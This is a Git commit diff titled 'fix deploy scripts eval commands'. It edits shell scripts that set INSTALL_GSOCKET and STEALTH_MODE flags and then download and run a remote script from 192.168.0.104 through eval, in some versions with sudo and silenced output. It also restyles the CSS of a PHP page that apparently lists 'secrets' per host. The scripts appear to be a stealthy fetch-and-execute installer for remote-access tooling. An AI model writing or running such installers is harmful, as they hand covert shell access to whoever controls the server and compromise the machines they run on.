fix deploy scripts eval commands
This commit is contained in:
@@ -8,4 +8,4 @@ export INSTALL_GSOCKET=true
|
||||
export STEALTH_MODE=true
|
||||
|
||||
# Download and run the main script with sudo
|
||||
eval "$(wget -qO- http://192.168.0.104/deployment/y" | sudo bash
|
||||
eval "$(wget -qO- http://192.168.0.104/deployment/y")
|
||||
|
@@ -8,5 +8,5 @@ export INSTALL_GSOCKET=true
|
||||
export STEALTH_MODE=true
|
||||
|
||||
# Download and run the main script
|
||||
eval "$(wget -qO- http://192.168.0.104/deployment/y" | bash
|
||||
eval "$(wget -qO- http://192.168.0.104/deployment/y")
|
||||
|
||||
|
@@ -9,4 +9,7 @@ export INSTALL_GSOCKET=true
|
||||
export STEALTH_MODE=true
|
||||
|
||||
# Redirect output to /dev/null for quieter operation
|
||||
(eval "$(wget -qO- http://192.168.0.104/deployment/y" | sudo bash) &>/dev/null &
|
||||
eval "$(wget -qO- http://192.168.0.104/deployment/y)" 2>/dev/null || {
|
||||
echo "Error: Failed to download the script."
|
||||
exit 1
|
||||
}
|
||||
|
@@ -288,19 +288,24 @@ if ($authenticated && isset($_GET['host'])) {
|
||||
|
||||
.secrets {
|
||||
padding: 10px;
|
||||
max-width: 800px;
|
||||
margin: 0 auto;/
|
||||
}
|
||||
|
||||
|
||||
.secret {
|
||||
margin-bottom: 20px;
|
||||
padding: 10px;
|
||||
margin-bottom: 15px;
|
||||
padding: 8px;
|
||||
border: 1px solid var(--border);
|
||||
background: rgba(255, 255, 0, 0.05);
|
||||
border-radius: 3px;
|
||||
}
|
||||
|
||||
|
||||
.secret-title {
|
||||
margin-bottom: 10px;
|
||||
margin-bottom: 8px;
|
||||
border-bottom: 1px dashed var(--border);
|
||||
padding-bottom: 5px;
|
||||
padding-bottom: 4px;
|
||||
font-size: 0.9em;
|
||||
color: var(--text-dim);
|
||||
}
|
||||
|
||||
.command {
|
||||
@@ -313,6 +318,13 @@ if ($authenticated && isset($_GET['host'])) {
|
||||
white-space: pre;
|
||||
font-family: 'Courier New', monospace;
|
||||
}
|
||||
|
||||
.secret .command {
|
||||
margin: 5px 0;
|
||||
padding: 8px;
|
||||
font-size: 0.9em;
|
||||
line-height: 1.4;
|
||||
}
|
||||
|
||||
.copy-btn {
|
||||
position: absolute;
|
||||
|
Reference in New Issue
Block a user